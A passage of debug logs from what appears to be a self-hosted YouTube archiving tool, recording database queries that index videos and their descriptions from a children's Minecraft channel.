[HlTfxG007JI].mp4", false, ~U[2026-06-01 23:00:07Z]] 19:40:54.539 [debug] QUERY OK source="sources" db=0.2ms idle=317.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.540 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 23:00:15Z], 30] 19:40:54.542 [debug] QUERY OK source="media_items" db=0.9ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Impossible Find the Diamond Challenge: Hide and Seek! 🟦🔍 Can Milo freeze perfectly still while JJ hunts down everyone one by one? And what comes crawling through the Nether portal at the end? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft", "fc98f38e-03f8-4dad-86d1-59e02b9ab402", "ano3A1IT0wA", false, "https://www.youtube.com/watch?v=ano3A1IT0wA", 30, [], 2125, false, 2, "/downloads/rory/Milo and Chip/2026-05-29 Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft/Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft [ano3A1IT0wA].mp4", false, false, 98, ~U[2026-05-29 23:00:15Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "Impossible Find the Diamond Challenge: Hide and Seek! 🟦🔍 Can Milo freeze perfectly still while JJ hunts down everyone one by one? And what comes crawling through the Nether portal at the end? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft", "ano3A1IT0wA", "https://www.youtube.com/watch?v=ano3A1IT0wA", 30, 2125, false, "/downloads/rory/Milo and Chip/2026-05-29 Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft/Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft [ano3A1IT0wA].mp4", false, ~U[2026-05-29 23:00:15Z]] 19:40:54.542 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.543 [debug] QUERY OK source="media_items" db=0.9ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-27 23:00:15Z], 30] 19:40:54.545 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["PRANKING My Friends by Being KIND in Minecraft! 😬🕵️ What are Milo, Rosie and Villager Bob hiding from Chip? What happens when sweetness becomes the ultimate spy weapon?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft", "9948580a-14b2-4775-9c64-eda31a94cf00", "aUkz6mYnXT8", false, "https://www.youtube.com/watch?v=aUkz6mYnXT8", 30, [], 1860, false, 3, "/downloads/rory/Milo and Chip/2026-05-27 Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft/Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft [aUkz6mYnXT8].mp4", false, false, 98, ~U[2026-05-27 23:00:15Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "PRANKING My Friends by Being KIND in Minecraft! 😬🕵️ What are Milo, Rosie and Villager Bob hiding from Chip? What happens when sweetness becomes the ultimate spy weapon?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft", "aUkz6mYnXT8", "https://www.youtube.com/watch?v=aUkz6mYnXT8", 30, 1860, false, "/downloads/rory/Milo and Chip/2026-05-27 Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft/Being WAY TOO NICE To Find My Friend's SECRETS in Minecraft [aUkz6mYnXT8].mp4", false, ~U[2026-05-27 23:00:15Z]] 19:40:54.545 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.546 [debug] QUERY OK source="media_items" db=1.1ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-25 23:00:11Z], 30] 19:40:54.562 [debug] QUERY OK source="media_items" db=15.2ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Chip VS Milo : Battle of Powers in Minecraft! 💎🟫 Can Milo's silly mud gear really keep up with Chip's shiny enchanted loot? Will the worst material in the game somehow tie with the best? Just like JJ and Mikey Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "DIRT vs DIAMOND: Battle Of DOORS in Minecraft", "80bb9ec8-ecc0-44d9-a463-02b0633634f9", "Hhfw4cTRCOw", false, "https://www.youtube.com/watch?v=Hhfw4cTRCOw", 30, [], 2099, false, 4, "/downloads/rory/Milo and Chip/2026-05-25 DIRT vs DIAMOND: Battle Of DOORS in Minecraft/DIRT vs DIAMOND: Battle Of DOORS in Minecraft [Hhfw4cTRCOw].mp4", false, false, 98, ~U[2026-05-25 23:00:11Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "Chip VS Milo : Battle of Powers in Minecraft! 💎🟫 Can Milo's silly mud gear really keep up with Chip's shiny enchanted loot? Will the worst material in the game somehow tie with the best? Just like JJ and Mikey Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "DIRT vs DIAMOND: Battle Of DOORS in Minecraft", "Hhfw4cTRCOw", "https://www.youtube.com/watch?v=Hhfw4cTRCOw", 30, 2099, false, "/downloads/rory/Milo and Chip/2026-05-25 DIRT vs DIAMOND: Battle Of DOORS in Minecraft/DIRT vs DIAMOND: Battle Of DOORS in Minecraft [Hhfw4cTRCOw].mp4", false, ~U[2026-05-25 23:00:11Z]] 19:40:54.563 [debug] QUERY OK source="sources" db=0.5ms idle=18.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.564 [debug] QUERY OK source="media_items" db=1.0ms idle=18.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 23:00:32Z], 30] 19:40:54.565 [debug] QUERY OK source="media_items" db=0.6ms idle=19.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We Lived YOUR Entire Minecraft Life… From Baby to Ghost! :baby::ghost: Can YOU escape a daycare, survive a bear attack and outlive a stalker — only to have Milo blow you up with TNT? Just like Maizen and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "BIRTH to DEATH of YOU in Minecraft", "8ffff0a2-09b3-4255-a976-854b7f98746b", "VRn3KpKOB-Q", false, "https://www.youtube.com/watch?v=VRn3KpKOB-Q", 30, [], 1631, false, 5, "/downloads/rory/Milo and Chip/2026-05-22 BIRTH to DEATH of YOU in Minecraft/BIRTH to DEATH of YOU in Minecraft [VRn3KpKOB-Q].mp4", false, false, 98, ~U[2026-05-22 23:00:32Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "We Lived YOUR Entire Minecraft Life… From Baby to Ghost! :baby::ghost: Can YOU escape a daycare, survive a bear attack and outlive a stalker — only to have Milo blow you up with TNT? Just like Maizen and Aphmau!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "BIRTH to DEATH of YOU in Minecraft", "VRn3KpKOB-Q", "https://www.youtube.com/watch?v=VRn3KpKOB-Q", 30, 1631, false, "/downloads/rory/Milo and Chip/2026-05-22 BIRTH to DEATH of YOU in Minecraft/BIRTH to DEATH of YOU in Minecraft [VRn3KpKOB-Q].mp4", false, ~U[2026-05-22 23:00:32Z]] 19:40:54.565 [debug] QUERY OK source="sources" db=0.2ms idle=18.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.566 [debug] QUERY OK source="media_items" db=1.1ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-20 23:01:04Z], 30] 19:40:54.567 [debug] QUERY OK source="media_items" db=0.7ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Reading My Friends' Minds in Minecraft! 🔮👀 What weird hobby is Milo hiding underground? Why does JipJip have a shrine to a Blaze? Will Chip be able to figure out the secrets being kept from him?\nJust like Maizen and Cash!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft", "cafc7266-cb69-4965-8c52-18984a4c2a4d", "x3dral7OjIw", false, "https://www.youtube.com/watch?v=x3dral7OjIw", 30, [], 1391, false, 6, "/downloads/rory/Milo and Chip/2026-05-20 Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft/Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft [x3dral7OjIw].mp4", false, false, 98, ~U[2026-05-20 23:01:04Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "Reading My Friends' Minds in Minecraft! 🔮👀 What weird hobby is Milo hiding underground? Why does JipJip have a shrine to a Blaze? Will Chip be able to figure out the secrets being kept from him?\nJust like Maizen and Cash!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft", "x3dral7OjIw", "https://www.youtube.com/watch?v=x3dral7OjIw", 30, 1391, false, "/downloads/rory/Milo and Chip/2026-05-20 Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft/Becoming a TELEPATH to Find My Friend’s SECRETS in Minecraft [x3dral7OjIw].mp4", false, ~U[2026-05-20 23:01:04Z]] 19:40:54.568 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.569 [debug] QUERY OK source="media_items" db=0.8ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-18 23:00:32Z], 30] 19:40:54.570 [debug] QUERY OK source="media_items" db=0.7ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["TSUNAMI WAVES vs 4 Pillars! 🌊🏠 Will Milo, Chip, Mikey and JJ outbuild the rising flood, or will the shark below take them all out? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo vs Chip vs Friends: WATER House Battle in Minecraft", "19e1aabc-4ffd-4053-8966-e23a6087e280", "SQAKG_LKgQU", false, "https://www.youtube.com/watch?v=SQAKG_LKgQU", 30, [], 1840, false, 7, "/downloads/rory/Milo and Chip/2026-05-18 Milo vs Chip vs Friends: WATER House Battle in Minecraft/Milo vs Chip vs Friends: WATER House Battle in Minecraft [SQAKG_LKgQU].mp4", false, false, 98, ~U[2026-05-18 23:00:32Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "TSUNAMI WAVES vs 4 Pillars! 🌊🏠 Will Milo, Chip, Mikey and JJ outbuild the rising flood, or will the shark below take them all out? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo vs Chip vs Friends: WATER House Battle in Minecraft", "SQAKG_LKgQU", "https://www.youtube.com/watch?v=SQAKG_LKgQU", 30, 1840, false, "/downloads/rory/Milo and Chip/2026-05-18 Milo vs Chip vs Friends: WATER House Battle in Minecraft/Milo vs Chip vs Friends: WATER House Battle in Minecraft [SQAKG_LKgQU].mp4", false, ~U[2026-05-18 23:00:32Z]] 19:40:54.570 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.571 [debug] QUERY OK source="media_items" db=0.9ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 22:00:51Z], 30] 19:40:54.572 [debug] QUERY OK source="media_items" db=0.6ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SURVIVING in a 100% FLOODED World! 🌊 🤿 Can we find enough oxygen to build a secret Atlantis base before the sea monsters catch us?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But The Whole World is Underwater", "aa890a8c-14c0-4602-89cd-bd40c29235fc", "w4DxHZFJ7No", false, "https://www.youtube.com/watch?v=w4DxHZFJ7No", 30, [], 2198, false, 8, "/downloads/rory/Milo and Chip/2026-05-16 Minecraft, But The Whole World is Underwater/Minecraft, But The Whole World is Underwater [w4DxHZFJ7No].mp4", false, false, 98, ~U[2026-05-16 22:00:51Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "SURVIVING in a 100% FLOODED World! 🌊 🤿 Can we find enough oxygen to build a secret Atlantis base before the sea monsters catch us?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But The Whole World is Underwater", "w4DxHZFJ7No", "https://www.youtube.com/watch?v=w4DxHZFJ7No", 30, 2198, false, "/downloads/rory/Milo and Chip/2026-05-16 Minecraft, But The Whole World is Underwater/Minecraft, But The Whole World is Underwater [w4DxHZFJ7No].mp4", false, ~U[2026-05-16 22:00:51Z]] 19:40:54.573 [debug] QUERY OK source="sources" db=0.3ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.574 [debug] QUERY OK source="media_items" db=0.9ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-15 23:00:20Z], 30] 19:40:54.575 [debug] QUERY OK source="media_items" db=0.7ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I STOLE My Friend’s Life Every Time I Got Hurt! 💔 🔄 Can I survive the ender dragon if my health keeps swapping with a noob?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But If I Take Damage I Switch Lives", "ce3cae4e-df9c-4854-a62c-cde0e5ba5807", "Kcn_4kdmM_0", false, "https://www.youtube.com/watch?v=Kcn_4kdmM_0", 30, [], 1856, false, 9, "/downloads/rory/Milo and Chip/2026-05-15 Minecraft, But If I Take Damage I Switch Lives/Minecraft, But If I Take Damage I Switch Lives [Kcn_4kdmM_0].mp4", false, false, 98, ~U[2026-05-15 23:00:20Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "I STOLE My Friend’s Life Every Time I Got Hurt! 💔 🔄 Can I survive the ender dragon if my health keeps swapping with a noob?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But If I Take Damage I Switch Lives", "Kcn_4kdmM_0", "https://www.youtube.com/watch?v=Kcn_4kdmM_0", 30, 1856, false, "/downloads/rory/Milo and Chip/2026-05-15 Minecraft, But If I Take Damage I Switch Lives/Minecraft, But If I Take Damage I Switch Lives [Kcn_4kdmM_0].mp4", false, ~U[2026-05-15 23:00:20Z]] 19:40:54.575 [debug] QUERY OK source="sources" db=0.3ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 